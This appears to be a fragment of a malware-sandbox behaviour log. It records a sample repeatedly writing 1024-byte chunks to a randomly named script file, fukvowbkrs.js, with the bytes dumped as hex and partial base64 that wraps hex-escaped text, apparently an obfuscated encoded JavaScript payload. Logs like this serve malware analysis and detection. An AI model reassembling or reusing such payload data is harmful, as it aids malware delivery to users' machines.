Fx4NkNceDM2XHgzOVx4
NkZceDM3XHg
2OVx4NDmceDY1XHgzN
Fx4NTNceDVBX
Hg0M1x4NkFceDRGXHgz
Nlx4NDJceDY
5XHg1Nlx4NkRceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 35 58 48 67 32 4d 6c 
78 34 4e 6b 52 63 65 
44 52 46 58 48 67 32 
4f 56 78 34 4e 6a 4a 
63 65 44 5a 45 58 48 
67 31 4d 6c 78 34 4e 
6b 52 63 65 44 59 78 
58 48 67 30 4e 31 78 
34 4e 54 46 63 65 44 
63 31 58 48 67 31 4f 
56 78 34 4d 7a 4a 63 
65 44 63 34 58 48 67 
32 4f 46 78 34 4e 6a 
4e 63 65 44 4d 7a 58 
48 67 30 52 6c 78 34 
4e 54 5a 63 65 44 55 
32 58 48 67 30 4e 6c 
78 34 4e 7a 52 63 65 
44 59 79 58 48 67 30 
4e 56 78 34 4d 7a 46 
63 65 44 59 7a 58 48 
67 31 4e 56 78 34 4e 
54 68 63 65 44 56 42 
58 48 67 30 52 56 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 45 46 63 
65 44 59 33 58 48 67 
33 4e 31 78 34 4e 44 
52 63 65 44 63 34 58 
48 67 32 4f 56 78 34 
4e 6b 46 63 65 44 55 
35 58 48 67 32 52 46 
78 34 4e 6b 4e 63 65 
44 4d 31 58 48 67 33 
4d 46 78 34 4e 7a 52 
63 65 44 

5XHg2Mlx4NkRceDRFXH
g2OVx4NjJce
DZEXHg1Mlx4NkRceDYx
XHg0N1x4NTF
ceDc1XHg1OVx4MzJceDc
4XHg2OFx4N
jNceDMzXHg0Rlx4NTZce
DU2XHg0Nlx
4NzRceDYyXHg0NVx4Mz
FceDYzXHg1N
Vx4NThceDVBXHg0RVx4
M0VceDI1XHg
0MFx4NEFceDY3XHg3N1
x4NDRceDc4X
Hg2OVx4NkFceDU5XHg2
RFx4NkNceDM
1XHg3MFx4NzRceD
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C:\Users\user\fukvowbkrs.js unknown 1024 43 58 48 67 31 4f 46 
78 34 4e 6b 46 63 65 
44 51 35 58 48 67 33 
4f 56 78 34 4e 7a 68 
63 65 44 4d 78 58 48 
67 32 4d 31 78 34 4e 
6a 4e 63 65 44 51 32 
58 48 67 7a 4e 56 78 
34 4e 6b 52 63 65 44 
63 31 58 48 67 31 4e 
6c 78 34 4e 55 46 63 
65 44 4d 79 58 48 67 
32 4f 56 78 34 4d 7a 
68 63 65 44 51 31 58 
48 67 32 51 31 78 34 
4e 7a 4a 63 65 44 63 
7a 58 48 67 30 51 31 
78 34 4e 45 5a 63 65 
44 59 33 58 48 67 30 
51 56 78 34 4e 7a 46 
63 65 44 63 30 58 48 
67 30 52 6c 78 34 4e 
6a 4e 63 65 44 63 30 
58 48 67 30 4e 6c 78 
34 4e 7a 6c 63 65 44 
59 35 58 48 67 7a 4f 
56 78 34 4d 7a 6d 63 
65 44 5a 45 58 48 67 
30 51 56 78 34 4e 44 
4e 63 65 44 63 7a 58 
48 67 31 51 56 78 34 
4e 45 46 63 65 44 63 
34 58 48 67 31 4e 6c 
78 34 4e 45 5a 63 65 
44 4d 77 58 48 67 30 
4d 31 78 34 4e 6a 4a 
63 65 44 

CXHg1OFx4NkFceDQ5XH
g3OVx4Nzhce
DMxXHg2M1x4NjNceDQ2
XHgzNVx4NkR
ceDc1XHg1Nlx4NUFceDM
yXHg2OVx4M
zhceDQ1XHg2Q1x4NzJce
DczXHg0Q1x
4NEZceDY3XHg0QVx4Nz
FceDc0XHg0R
lx4NjNceDc0XHg0Nlx4Nzl
ceDY5XHg
zOVx4MzmceDZEXHg0Q
Vx4NDNceDczX
Hg1QVx4NEFceDc4XHg1
Nlx4NEZceDM
wXHg0M1x4NjJceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 45 58 48 67 7a 4f 46 
78 34 4e 7a 5a 63 65 
44 59 7a 58 48 67 7a 
4d 6c 78 34 4e 6a 52 
63 65 44 6d 42 58 48 
67 31 51 56 78 34 4e 
6b 52 63 65 44 59 30 
58 48 67 32 52 6c 78 
34 4e 6a 46 63 65 44 
51 33 58 48 67 32 4d 
31 78 34 4e 7a 56 63 
65 44 55 35 58 48 67 
7a 4d 6c 78 34 4e 7a 
68 63 65 44 59 34 58 
48 67 32 4d 31 78 34 
4d 7a 4e 63 65 44 52 
47 58 48 67 32 4e 46 
78 34 4e 54 5a 63 65 
44 5a 45 58 48 67 33 
4e 46 78 34 4e 54 6c 
63 65 44 55 33 58 48 
67 7a 4d 31 78 34 4e 
6a 4e 63 65 44 56 42 
58 48 67 79 52 6c 78 
34 4e 7a 68 63 65 44 
4d 78 58 48 67 33 4f 
56 78 34 4e 45 5a 63 
65 44 55 35 58 48 67 
32 4e 6c 78 34 4e 54 
52 63 65 44 63 7a 58 
48 67 7a 4e 56 78 34 
4e 6a 46 63 65 44 5a 
45 58 48 67 33 4d 46 
78 34 4e 54 4e 63 65 
44 4d 77 58 48 67 30 
4e 31 78 34 4e 7a 52 
63 65 44 

EXHgzOFx4NzZceDYzXH
gzMlx4NjRce
DmBXHg1QVx4NkRceDY
0XHg2Rlx4NjF
ceDQ3XHg2M1x4NzVceD
U5XHgzMlx4N
zhceDY4XHg2M1x4MzNc
eDRGXHg2NFx
4NTZceDZEXHg3NFx4NTl
ceDU3XHgzM
1x4NjNceDVBXHgyRlx4N
zhceDMxXHg
3OVx4NEZceDU5XHg2Nlx
4NTRceDczX
HgzNVx4NjFceDZEXHg3
MFx4NTNceDM
wXHg0N1x4NzRceD
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C:\Users\user\fukvowbkrs.js unknown 1024 47 58 48 67 32 4f 56 
78 34 4e 44 6c 63 65 
44 59 34 58 48 67 30 
4e 56 78 34 4e 6a 4e 
63 65 44 5a 44 58 48 
67 32 52 56 78 34 4e 
45 46 63 65 44 55 34 
58 48 67 33 4e 31 78 
34 4e 7a 56 63 65 44 
51 35 58 48 67 31 4d 
56 78 34 4e 6b 56 63 
65 44 52 42 58 48 67 
30 4f 46 78 34 4e 7a 
68 63 65 44 52 44 58 
48 67 33 4e 31 78 34 
4e 7a 42 63 65 44 52 
45 58 48 67 31 4d 31 
78 34 4e 30 46 63 65 
44 5a 43 58 48 67 33 
4e 46 78 34 4e 54 6c 
63 65 44 5a 43 58 48 
67 31 4d 46 78 34 4e 
44 4a 63 65 44 6d 42 
58 48 67 30 4d 31 78 
34 4e 6a 4a 63 65 44 
4a 43 58 48 67 31 4e 
6c 78 34 4d 7a 68 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 59 7a 58 
48 67 30 51 56 78 34 
4e 6a 5a 63 65 44 4d 
31 58 48 67 32 4d 6c 
78 34 4e 7a 6d 63 65 
44 51 32 58 48 67 33 
4f 46 78 34 4e 44 68 
63 65 44 

GXHg2OVx4NDlceDY4XH
g0NVx4NjNce
DZDXHg2RVx4NEFceDU4
XHg3N1x4NzV
ceDQ5XHg1MVx4NkVceD
RBXHg0OFx4N
zhceDRDXHg3N1x4NzBce
DREXHg1M1x
4N0FceDZCXHg3NFx4NTl
ceDZCXHg1M
Fx4NDJceDmBXHg0M1x4
NjJceDJCXHg
1Nlx4MzhceDNFXHgyNVx
4NDBceDYzX
Hg0QVx4NjZceDM1XHg2
Mlx4NzmceDQ
2XHg3OFx4NDhceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 63 65 44 4d 78 58 
48 67 7a 4e 56 78 34 
4e 54 42 63 65 44 4d 
35 58 48 67 33 4d 31 
78 34 4e 45 4a 63 65 
44 55 79 58 48 67 30 
4d 6c 78 34 4e 54 4a 
63 65 44 5a 42 58 48 
67 31 4f 56 78 34 4e 
44 4a 63 65 44 4d 32 
58 48 67 30 4f 56 78 
34 4e 7a 42 63 65 44 
63 34 58 48 67 33 4d 
56 78 34 4e 54 4e 63 
65 44 51 35 58 48 67 
79 51 6c 78 34 4e 6b 
4a 63 65 44 55 35 58 
48 67 33 4f 56 78 34 
4e 54 42 63 65 44 63 
34 58 48 67 30 52 6c 
78 34 4e 44 4e 63 65 
44 5a 43 58 48 67 32 
4d 31 78 34 4d 7a 56 
63 65 44 55 33 58 48 
67 33 4d 56 78 34 4e 
54 56 63 65 44 52 44 
58 48 67 30 4d 6c 78 
34 4e 45 5a 63 65 44 
6d 42 58 48 67 30 52 
56 78 34 4e 6a 6c 63 
65 44 63 35 58 48 67 
33 51 56 78 34 4e 44 
52 63 65 44 5a 45 58 
48 67 33 4d 31 78 34 
4e 7a 46 63 65 44 4d 
79 58 48 67 7a 4d 6c 
78 34 4e 

ZceDMxXHgzNVx4NTBce
DM5XHg3M1x4
NEJceDUyXHg0Mlx4NTJc
eDZBXHg1OV
x4NDJceDM2XHg0OVx4N
zBceDc4XHg3
MVx4NTNceDQ5XHgyQlx
4NkJceDU5XH
g3OVx4NTBceDc4XHg0Rl
x4NDNceDZC
XHg2M1x4MzVceDU3XHg
3MVx4NTVceD
RDXHg0Mlx4NEZceDmBX
Hg0RVx4Njlc
eDc5XHg3QVx4NDRceDZ
EXHg3M1x4Nz
FceDMyXHgzMlx4N

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 4a 63 65 44 59 30 58 
48 67 30 52 56 78 34 
4e 44 56 63 65 44 52 
42 58 48 67 7a 4f 56 
78 34 4e 54 4e 63 65 
44 4d 33 58 48 67 32 
4e 56 78 34 4e 6b 46 
63 65 44 55 77 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 32 52 6c 78 
34 4e 6b 4e 63 65 44 
55 77 58 48 67 30 4e 
46 78 34 4e 44 5a 63 
65 44 51 30 58 48 67 
33 4d 56 78 34 4e 7a 
68 63 65 44 63 30 58 
48 67 33 4e 46 78 34 
4e 6a 6c 63 65 44 4d 
77 58 48 67 7a 4e 56 
78 34 4d 7a 6d 63 65 
44 51 33 58 48 67 33 
4e 56 78 34 4e 54 42 
63 65 44 63 30 58 48 
67 7a 4e 46 78 34 4e 
54 6d 63 65 44 59 33 
58 48 67 32 4e 46 78 
34 4e 6b 56 63 65 44 
59 79 58 48 67 30 4e 
31 78 34 4e 54 6d 63 
65 44 59 7a 58 48 67 
31 4d 46 78 34 4d 7a 
46 63 65 44 51 31 58 
48 67 32 4e 46 78 34 
4d 7a 6d 63 65 44 55 
7a 58 48 67 32 51 56 
78 34 4e 

JceDY0XHg0RVx4NDVce
DRBXHgzOVx4
NTNceDM3XHg2NVx4NkF
ceDUwXHgzRV
x4MjVceDQwXHg2Rlx4Nk
NceDUwXHg0
NFx4NDZceDQ0XHg3MVx
4NzhceDc0XH
g3NFx4NjlceDMwXHgzNV
x4MzmceDQ3
XHg3NVx4NTBceDc0XHg
zNFx4NTmceD
Y3XHg2NFx4NkVceDYyX
Hg0N1x4NTmc
eDYzXHg1MFx4MzFceDQ
1XHg2NFx4Mz
mceDUzXHg2QVx4N

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 63 65 44 55 31 58 
48 67 33 4d 46 78 34 
4e 6a 56 63 65 44 63 
33 58 48 67 30 4e 46 
78 34 4e 6b 5a 63 65 
44 59 35 58 48 67 30 
4e 6c 78 34 4e 44 6d 
63 65 44 59 7a 58 48 
67 33 4e 46 78 34 4e 
54 46 63 65 44 51 7a 
58 48 67 31 51 56 78 
34 4e 45 4a 63 65 44 
4a 47 58 48 67 33 4e 
56 78 34 4e 6b 4e 63 
65 44 51 31 58 48 67 
32 51 31 78 34 4e 6a 
68 63 65 44 52 44 58 
48 67 32 4e 46 78 34 
4e 6b 5a 63 65 44 4d 
78 58 48 67 33 51 56 
78 34 4e 45 4a 63 65 
44 59 34 58 48 67 30 
4d 6c 78 34 4d 7a 6d 
63 65 44 55 32 58 48 
67 30 51 56 78 34 4e 
6a 6d 63 65 44 4d 35 
58 48 67 31 4d 6c 78 
34 4e 45 4a 63 65 44 
5a 43 58 48 67 7a 4e 
46 78 34 4e 45 4a 63 
65 44 55 30 58 48 67 
33 51 56 78 34 4e 45 
56 63 65 44 52 45 58 
48 67 30 51 6c 78 34 
4e 6b 4e 63 65 44 63 
78 58 48 67 32 4f 46 
78 34 4e 

NceDU1XHg3MFx4NjVce
Dc3XHg0NFx4
NkZceDY5XHg0Nlx4NDm
ceDYzXHg3NF
x4NTFceDQzXHg1QVx4N
EJceDJGXHg3
NVx4NkNceDQ1XHg2Q1x
4NjhceDRDXH
g2NFx4NkZceDMxXHg3Q
Vx4NEJceDY4
XHg0Mlx4MzmceDU2XHg
0QVx4NjmceD
M5XHg1Mlx4NEJceDZCX
HgzNFx4NEJc
eDU0XHg3QVx4NEVceDR
EXHg0Qlx4Nk
NceDcxXHg2OFx4N

success or wait 5 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6c 63 65 44 5a 47 58 
48 67 31 4f 56 78 34 
4e 30 46 63 65 44 55 
31 58 48 67 33 4f 56 
78 34 4e 45 56 63 65 
44 5a 45 58 48 67 32 
4f 56 78 34 4e 6b 5a 
63 65 44 51 31 58 48 
67 32 4e 56 78 34 4d 
7a 56 63 65 44 51 30 
58 48 67 31 4e 46 78 
34 4e 6b 4e 63 65 44 
5a 46 58 48 67 32 4f 
56 78 34 4e 44 6c 63 
65 44 4d 31 58 48 67 
30 4e 46 78 34 4e 54 
46 63 65 44 59 35 58 
48 67 32 4d 6c 78 34 
4e 45 4a 63 65 44 51 
79 58 48 67 31 4d 31 
78 34 4e 7a 42 63 65 
44 4d 30 58 48 67 33 
4e 31 78 34 4e 45 4a 
63 65 44 52 43 58 48 
67 33 4e 46 78 34 4d 
7a 6c 63 65 44 59 34 
58 48 67 33 4d 46 78 
34 4e 44 56 63 65 44 
63 35 58 48 67 30 4d 
31 78 34 4e 7a 52 63 
65 44 55 31 58 48 67 
31 4d 6c 78 34 4d 7a 
42 63 65 44 4d 79 58 
48 67 33 4d 6c 78 34 
4e 54 6c 63 65 44 4d 
77 58 48 67 30 52 46 
78 34 4e 

lceDZGXHg1OVx4N0FceD
U1XHg3OVx4
NEVceDZEXHg2OVx4NkZ
ceDQ1XHg2NV
x4MzVceDQ0XHg1NFx4N
kNceDZFXHg2
OVx4NDlceDM1XHg0NFx
4NTFceDY5XH
g2Mlx4NEJceDQyXHg1M
1x4NzBceDM0
XHg3N1x4NEJceDRCXHg
3NFx4MzlceD
Y4XHg3MFx4NDVceDc5X
Hg0M1x4NzRc
eDU1XHg1Mlx4MzBceDM
yXHg3Mlx4NT
lceDMwXHg0RFx4N

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 63 65 44 4d 35 58 
48 67 33 4d 6c 78 34 
4e 45 5a 63 65 44 5a 
46 58 48 67 30 52 46 
78 34 4d 7a 52 63 65 
44 63 77 58 48 67 7a 
4d 46 78 34 4e 7a 56 
63 65 44 63 35 58 48 
67 32 4d 6c 78 34 4e 
45 4e 63 65 44 55 33 
58 48 67 31 4d 46 78 
34 4e 54 46 63 65 44 
52 47 58 48 67 79 52 
6c 78 34 4d 7a 4a 63 
65 44 4d 7a 58 48 67 
7a 4e 56 78 34 4d 7a 
68 63 65 44 55 7a 58 
48 67 31 51 56 78 34 
4d 7a 56 63 65 44 5a 
43 58 48 67 79 51 6c 
78 34 4d 7a 5a 63 65 
44 63 31 58 48 67 32 
4d 31 78 34 4e 7a 4a 
63 65 44 5a 42 58 48 
67 31 4e 56 78 34 4d 
7a 56 63 65 44 55 32 
58 48 67 7a 4f 56 78 
34 4e 54 6c 63 65 44 
5a 47 58 48 67 7a 4f 
46 78 34 4e 45 4a 63 
65 44 59 34 58 48 67 
31 4e 6c 78 34 4e 45 
5a 63 65 44 55 33 58 
48 67 32 4e 6c 78 34 
4e 6a 68 63 65 44 51 
30 58 48 67 30 52 6c 
78 34 4e 

ZceDM5XHg3Mlx4NEZce
DZFXHg0RFx4
MzRceDcwXHgzMFx4NzV
ceDc5XHg2Ml
x4NENceDU3XHg1MFx4N
TFceDRGXHgy
Rlx4MzJceDMzXHgzNVx4
MzhceDUzXH
g1QVx4MzVceDZCXHgyQ
lx4MzZceDc1
XHg2M1x4NzJceDZBXHg
1NVx4MzVceD
U2XHgzOVx4NTlceDZGX
HgzOFx4NEJc
eDY4XHg1Nlx4NEZceDU3
XHg2Nlx4Nj
hceDQ0XHg0Rlx4N

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 63 31 58 
48 67 32 4e 46 78 34 
4d 7a 4a 63 65 44 55 
32 58 48 67 33 4d 46 
78 34 4e 6b 4a 63 65 
44 4d 77 58 48 67 30 
51 6c 78 34 4e 54 68 
63 65 44 63 31 58 48 
67 30 51 56 78 34 4e 
7a 52 63 65 44 59 30 
58 48 67 30 51 6c 78 
34 4e 55 46 63 65 44 
5a 42 58 48 67 30 4e 
46 78 34 4e 45 4e 63 
65 44 51 7a 58 48 67 
7a 4e 31 78 34 4d 7a 
46 63 65 44 51 79 58 
48 67 31 4e 6c 78 34 
4e 6a 56 63 65 44 4d 
35 58 48 67 32 4e 31 
78 34 4e 54 46 63 65 
44 55 79 58 48 67 30 
52 6c 78 34 4e 6a 5a 
63 65 44 59 79 58 48 
67 31 4e 6c 78 34 4d 
6b 4a 63 65 44 4d 32 
58 48 67 32 4d 56 78 
34 4e 6b 46 63 65 44 
4d 7a 58 48 67 7a 4f 
46 78 34 4e 44 5a 63 
65 44 55 31 58 48 67 
7a 4f 56 78 34 4d 7a 
42 63 65 44 55 7a 58 
48 67 33 4d 6c 78 34 
4e 54 4e 63 65 44 59 
32 58 48 67 33 4d 56 
78 34 4d 

RceDc1XHg2NFx4MzJce
DU2XHg3MFx4
NkJceDMwXHg0Qlx4NThc
eDc1XHg0QV
x4NzRceDY0XHg0Qlx4NU
FceDZBXHg0
NFx4NENceDQzXHgzN1x
4MzFceDQyXH
g1Nlx4NjVceDM5XHg2N1
x4NTFceDUy
XHg0Rlx4NjZceDYyXHg1
Nlx4MkJceD
M2XHg2MVx4NkFceDMz
XHgzOFx4NDZc
eDU1XHgzOVx4MzBceDU
zXHg3Mlx4NT
NceDY2XHg3MVx4M

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 51 
32 58 48 67 32 4e 31 
78 34 4d 30 56 63 65 
44 49 31 58 48 67 30 
4d 46 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 44 6d 63 65 44 
52 46 58 48 67 32 4f 
46 78 34 4e 6a 4e 63 
65 44 5a 43 58 48 67 
33 4f 46 78 34 4e 6a 
68 63 65 44 59 79 58 
48 67 31 4e 31 78 34 
4e 45 46 63 65 44 63 
32 58 48 67 30 51 31 
78 34 4d 7a 4a 63 65 
44 52 42 58 48 67 33 
4e 46 78 34 4e 54 6c 
63 65 44 4d 7a 58 48 
67 31 51 56 78 34 4e 
6a 6c 63 65 44 59 79 
58 48 67 31 4e 31 78 
34 4e 54 46 63 65 44 
63 31 58 48 67 31 4f 
56 78 34 4d 7a 4a 63 
65 44 63 34 58 48 67 
32 4f 46 78 34 4e 6a 
4e 63 65 44 4d 7a 58 
48 67 30 52 6c 78 34 
4d 7a 46 63 65 44 55 
32 58 48 67 33 4e 6c 
78 34 4e 

BceDNFXHgyNVx4NDBce
DQ2XHg2N1x4
M0VceDI1XHg0MFx4M0V
ceDI1XHg0MF
x4M0VceDI1XHg0MFx4N
DmceDRFXHg2
OFx4NjNceDZCXHg3OFx
4NjhceDYyXH
g1N1x4NEFceDc2XHg0Q1
x4MzJceDRB
XHg3NFx4NTlceDMzXHg1
QVx4NjlceD
YyXHg1N1x4NTFceDc1X
Hg1OVx4MzJc
eDc4XHg2OFx4NjNceDMz
XHg0Rlx4Mz
FceDU2XHg3Nlx4N

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 68 63 65 44 51 31 58 
48 67 31 4e 6c 78 34 
4e 45 52 63 65 44 51 
30 58 48 67 30 4e 31 
78 34 4e 6a 6c 63 65 
44 56 42 58 48 67 32 
4e 56 78 34 4e 54 52 
63 65 44 59 79 58 48 
67 32 4f 46 78 34 4e 
44 6d 63 65 44 55 32 
58 48 67 32 4e 6c 78 
34 4e 45 52 63 65 44 
55 77 58 48 67 30 4f 
56 78 34 4e 7a 6c 63 
65 44 55 32 58 48 67 
30 51 31 78 34 4e 7a 
4e 63 65 44 4d 30 58 
48 67 7a 4f 46 78 34 
4e 54 46 63 65 44 59 
34 58 48 67 31 4f 56 
78 34 4e 6a 68 63 65 
44 5a 46 58 48 67 7a 
4d 6c 78 34 4e 6a 4e 
63 65 44 51 34 58 48 
67 30 51 56 78 34 4d 
6b 5a 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
55 79 58 48 67 32 4d 
6c 78 34 4e 6a 6c 63 
65 44 55 77 58 48 67 
32 51 6c 78 34 4d 7a 
52 63 65 44 52 47 58 
48 67 30 4e 6c 78 34 
4e 6b 52 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 

hceDQ1XHg1Nlx4NERceD
Q0XHg0N1x4
NjlceDVBXHg2NVx4NTRc
eDYyXHg2OF
x4NDmceDU2XHg2Nlx4N
ERceDUwXHg0
OVx4NzlceDU2XHg0Q1x4
NzNceDM0XH
gzOFx4NTFceDY4XHg1O
Vx4NjhceDZF
XHgzMlx4NjNceDQ4XHg0
QVx4MkZceD
NFXHgyNVx4NDBceDUyX
Hg2Mlx4Njlc
eDUwXHg2Qlx4MzRceDR
GXHg0Nlx4Nk
RceDNFXHgyNVx4N

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 68 63 65 44 52 42 58 
48 67 32 4d 6c 78 34 
4e 7a 6d 63 65 44 51 
31 58 48 67 7a 4d 56 
78 34 4d 7a 5a 63 65 
44 55 33 58 48 67 32 
4d 31 78 34 4e 44 4a 
63 65 44 4d 78 58 48 
67 31 4d 46 78 34 4e 
6a 4e 63 65 44 55 34 
58 48 67 30 51 6c 78 
34 4e 54 4e 63 65 44 
51 31 58 48 67 7a 4e 
31 78 34 4e 45 4e 63 
65 44 4d 79 58 48 67 
30 52 46 78 34 4d 6b 
5a 63 65 44 5a 47 58 
48 67 32 51 31 78 34 
4d 7a 4e 63 65 44 52 
47 58 48 67 30 4d 31 
78 34 4e 7a 56 63 65 
44 55 30 58 48 67 31 
4f 46 78 34 4e 44 4e 
63 65 44 55 33 58 48 
67 31 4f 46 78 34 4d 
7a 4e 63 65 44 51 79 
58 48 67 30 51 6c 78 
34 4e 7a 6d 63 65 44 
63 78 58 48 67 7a 4f 
46 78 34 4d 7a 52 63 
65 44 52 42 58 48 67 
32 4d 56 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4d 7a 52 63 65 44 63 
32 58 48 67 79 52 6c 
78 34 4d 

hceDRBXHg2Mlx4Nzmce
DQ1XHgzMVx4
MzZceDU3XHg2M1x4NDJ
ceDMxXHg1MF
x4NjNceDU4XHg0Qlx4NT
NceDQ1XHgz
N1x4NENceDMyXHg0RFx
4MkZceDZGXH
g2Q1x4MzNceDRGXHg0
M1x4NzVceDU0
XHg1OFx4NDNceDU3XHg
1OFx4MzNceD
QyXHg0Qlx4NzmceDcxX
HgzOFx4MzRc
eDRBXHg2MVx4M0VceDI
1XHg0MFx4Mz
RceDc2XHgyRlx4M

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 68 63 65 44 63 7a 58 
48 67 30 4e 6c 78 34 
4e 6a 4a 63 65 44 63 
7a 58 48 67 7a 4e 56 
78 34 4e 44 68 63 65 
44 59 35 58 48 67 30 
51 56 78 34 4d 7a 68 
63 65 44 59 30 58 48 
67 30 52 56 78 34 4e 
54 6d 63 65 44 59 32 
58 48 67 30 4d 31 78 
34 4e 55 46 63 65 44 
55 7a 58 48 67 30 4d 
6c 78 34 4e 45 5a 63 
65 44 55 77 58 48 67 
31 51 56 78 34 4e 54 
6d 63 65 44 4d 32 58 
48 67 33 4d 31 78 34 
4e 30 46 63 65 44 55 
30 58 48 67 33 4f 56 
78 34 4d 7a 68 63 65 
44 63 31 58 48 67 32 
4d 6c 78 34 4e 44 5a 
63 65 44 59 78 58 48 
67 32 4e 56 78 34 4e 
6a 4e 63 65 44 55 7a 
58 48 67 7a 4e 31 78 
34 4d 7a 56 63 65 44 
63 7a 58 48 67 31 4d 
56 78 34 4d 7a 5a 63 
65 44 63 34 58 48 67 
7a 4e 6c 78 34 4e 30 
46 63 65 44 5a 43 58 
48 67 32 4d 6c 78 34 
4e 6a 5a 63 65 44 51 
35 58 48 67 30 4e 6c 
78 34 4e 

hceDczXHg0Nlx4NjJceDc
zXHgzNVx4
NDhceDY5XHg0QVx4Mzh
ceDY0XHg0RV
x4NTmceDY2XHg0M1x4N
UFceDUzXHg0
Mlx4NEZceDUwXHg1QVx
4NTmceDM2XH
g3M1x4N0FceDU0XHg3O
Vx4MzhceDc1
XHg2Mlx4NDZceDYxXHg
2NVx4NjNceD
UzXHgzN1x4MzVceDczX
Hg1MVx4MzZc
eDc4XHgzNlx4N0FceDZC
XHg2Mlx4Nj
ZceDQ5XHg0Nlx4N

success or wait 7 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 63 65 44 51 31 58 
48 67 32 4d 6c 78 34 
4e 6a 46 63 65 44 63 
77 58 48 67 30 51 31 
78 34 4e 6b 46 63 65 
44 63 32 58 48 67 32 
51 56 78 34 4e 54 56 
63 65 44 5a 47 58 48 
67 30 4f 56 78 34 4e 
44 4a 63 65 44 51 7a 
58 48 67 31 4e 31 78 
34 4e 6b 52 63 65 44 
55 31 58 48 67 7a 4d 
46 78 34 4e 44 4a 63 
65 44 4d 33 58 48 67 
33 4d 56 78 34 4e 44 
68 63 65 44 55 34 58 
48 67 32 51 6c 78 34 
4d 7a 4a 63 65 44 52 
46 58 48 67 32 4f 46 
78 34 4e 6b 4a 63 65 
44 59 34 58 48 67 32 
52 56 78 34 4e 7a 52 
63 65 44 63 34 58 48 
67 33 4f 46 78 34 4e 
7a 56 63 65 44 55 32 
58 48 67 32 4e 6c 78 
34 4e 7a 42 63 65 44 
51 35 58 48 67 33 4e 
31 78 34 4e 45 5a 63 
65 44 51 79 58 48 67 
30 51 31 78 34 4e 54 
68 63 65 44 5a 46 58 
48 67 32 52 46 78 34 
4d 7a 5a 63 65 44 4d 
34 58 48 67 32 4e 56 
78 34 4e 

ZceDQ1XHg2Mlx4NjFceD
cwXHg0Q1x4
NkFceDc2XHg2QVx4NTV
ceDZGXHg0OV
x4NDJceDQzXHg1N1x4N
kRceDU1XHgz
MFx4NDJceDM3XHg3MV
x4NDhceDU4XH
g2Qlx4MzJceDRFXHg2OF
x4NkJceDY4
XHg2RVx4NzRceDc4XHg
3OFx4NzVceD
U2XHg2Nlx4NzBceDQ5X
Hg3N1x4NEZc
eDQyXHg0Q1x4NThceDZ
FXHg2RFx4Mz
ZceDM4XHg2NVx4N

success or wait 7 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 4a 43 58 48 67 30 4e 
56 78 34 4e 7a 4a 63 
65 44 63 30 58 48 67 
33 4d 31 78 34 4d 7a 
52 63 65 44 5a 46 58 
48 67 33 4d 46 78 34 
4e 45 52 63 65 44 56 
42 58 48 67 7a 4d 31 
78 34 4e 6b 46 63 65 
44 5a 46 58 48 67 33 
4e 46 78 34 4e 30 46 
63 65 44 55 77 58 48 
67 30 4f 56 78 34 4e 
6a 4a 63 65 44 55 79 
58 48 67 33 51 56 78 
34 4e 7a 4a 63 65 44 
55 34 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
32 4f 56 78 34 4e 7a 
6c 63 65 44 63 34 58 
48 67 32 4e 56 78 34 
4d 7a 6d 63 65 44 4d 
32 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 32 
52 46 78 34 4e 54 42 
63 65 44 63 77 58 48 
67 32 52 46 78 34 4e 
54 6c 63 65 44 51 7a 
58 48 67 7a 4d 6c 78 
34 4e 6a 52 63 65 44 
5a 44 58 48 67 32 51 
6c 78 34 4e 54 6c 63 
65 44 51 7a 58 48 67 
33 4d 56 78 34 4e 7a 
42 63 65 

JCXHg0NVx4NzJceDc0X
Hg3M1x4MzRc
eDZFXHg3MFx4NERceDV
BXHgzM1x4Nk
FceDZFXHg3NFx4N0Fce
DUwXHg0OVx4
NjJceDUyXHg3QVx4NzJc
eDU4XHgzRV
x4MjVceDQwXHg2OVx4N
zlceDc4XHg2
NVx4MzmceDM2XHgzRV
x4MjVceDQwXH
g2RFx4NTBceDcwXHg2R
Fx4NTlceDQz
XHgzMlx4NjRceDZDXHg2
Qlx4NTlceD
QzXHg3MVx4NzBce

success or wait 17 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 79 58 48 67 32 4e 
46 78 34 4e 45 52 63 
65 44 52 45 58 48 67 
79 51 6c 78 34 4e 7a 
6c 63 65 44 63 34 58 
48 67 30 52 56 78 34 
4e 7a 4e 63 65 44 59 
30 58 48 67 33 4d 31 
78 34 4d 7a 68 63 65 
44 59 33 58 48 67 79 
51 6c 78 34 4d 7a 4a 
63 65 44 4d 34 58 48 
67 31 4d 6c 78 34 4e 
6a 56 63 65 44 63 34 
58 48 67 7a 4f 46 78 
